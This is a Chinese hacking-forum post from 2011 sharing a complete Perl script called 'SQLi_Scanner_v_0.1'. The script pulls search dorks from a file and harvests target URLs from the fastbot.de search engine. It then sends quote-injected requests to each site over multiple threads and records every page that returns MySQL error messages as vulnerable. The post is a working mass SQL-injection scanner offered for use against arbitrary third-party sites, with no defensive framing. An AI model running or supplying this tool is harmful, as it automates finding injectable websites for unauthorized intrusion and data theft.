找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 637|回复: 0

Fastbot SQLi Autosearch

[复制链接]

131

主题

260

回帖

1518

牛毛

二级牛人

积分
1518
QQ
发表于 2011-11-25 15:34:26 | 显示全部楼层 |阅读模式 来自 河南省郑州市
代码:BEGIN { $ENV{ACTIVEPERL_CONFIG_DISABLE} = 1; }

#perl2exe_exclude "File/BSDGlob.pm"
#perl2exe_exclude "Compress/Bzip2.pm"
#perl2exe_exclude "I18N/Langinfo.pm"
#perl2exe_include "attributes.pm"

use strict;
no warnings;
use threads;
use threads::shared;
use LWP::UserAgent;
use HTTP::Request::Common qw(POST);

my $threads = 10;

my $ua = LWP::UserAgent->new;
$ua->timeout(15);
$ua->agent('Mozilla/5.0');

my @dorkz : shared;
my @linkz : shared;

system("cls");
system("color A");
print "++++++++++++++++++++++++++++++++++++++++++++++++\n";
print "+             SQLi_Scanner_v_0.1               +\n";
print "+                                              +\n";
print "++++++++++++++++++++++++++++++++++++++++++++++++\n";
print "\nEngines loaded: fastbot.de\n";
print "\[.]Let's start...\n";
GetDorkz();
print "Got ".scalar(@dorkz)." dorkz\n";
GetLinks();
while (threads->list) {}
print "Got ".scalar(@linkz)." links\n";
print "[.]Let's scan...\n\n";
CheckLinks();
while (threads->list) {}
print "[!]All done, check output_injection.txt\n\n";

sub CheckLinks {
    foreach my $link( @linkz ) {
        my  $ctr = 0;
        foreach my $thr ( threads->list ) { $ctr++; }
        if ($ctr < $threads){
            threads->create( \&InjectionCheck, $link );
        }
        else { redo; }
    }
}

sub GetLinks {
    foreach my $dork( @dorkz ) {
        my  $ctr = 0;
        foreach my $thr ( threads->list ) { $ctr++; }
        if ($ctr < $threads){
            threads->create( \&GetLinks_fastbot,$dork );
        }
        else { redo; }
    }
}

sub GetDorkz {
    open( DORKZ, "input.txt" ) or die "$!\n";
    while( defined( my $line_ = <DORKZ> ) ) {
        chomp( $line_ );
        push( @dorkz, $line_ );
    }
    close( DORKZ );
}

## FASTBOT-SEARCH
## http://www.fastbot.de/index.php?page=1&query=index.php?id=
sub GetLinks_fastbot {
    my $dork = shift;
    chomp( $dork );
    for( my $i = 1; $i < 11; $i++ ) {
        my $url = "http://www.fastbot.de/index.php?page=".$i."&query=".$dork;
        my $content = $ua->get($url)->content;
        while( $content =~ m/melden\.php\?url=(.+?)&query=/gi ) {
            my $link = $1;
            $link =~ s/&/&/g;
            #print $link."\n";
            push( @linkz, $link );
        }
    }
    threads->detach();
}

sub InjectionCheck {
    my $link = shift;
    chomp( $link );
    print "[:]Checking: $link\n";
    my $content = $ua->get($link)->content;
    for(my $position = 0; ($position = index($link, "=", $position)) >= 0; $position++) {
        my $linkcpy = $link;
        substr($linkcpy, $position, 1) = "='";   
        my $content2 = $ua->get($linkcpy)->content;
        unless( $content eq $content2 ) {
            if( $content2 =~ m/mysql_fetch_/i || $content2=~
m/You have an error in your SQL syntax/i || $content2 =~ m/tem um erro
de sintaxe no seu SQL/i || $content2 =~ m/mysql_num_rows/i || $content2
=~ m/Division by zero in/i ) {
                print "[+]Vulnerable: ".$linkcpy."\n";
                Output( $linkcpy );
                threads->detach();
            }
        }
    }
    threads->detach();
}

sub Output {
    my $para = shift;
    open (OUT, '>>output_injection.txt') or die("Cannot write to output_injection\n");
    print OUT $para."\n";
    close (OUT);
}
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-4-25 01:56 , Processed in 0.154127 second(s), 31 queries .

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表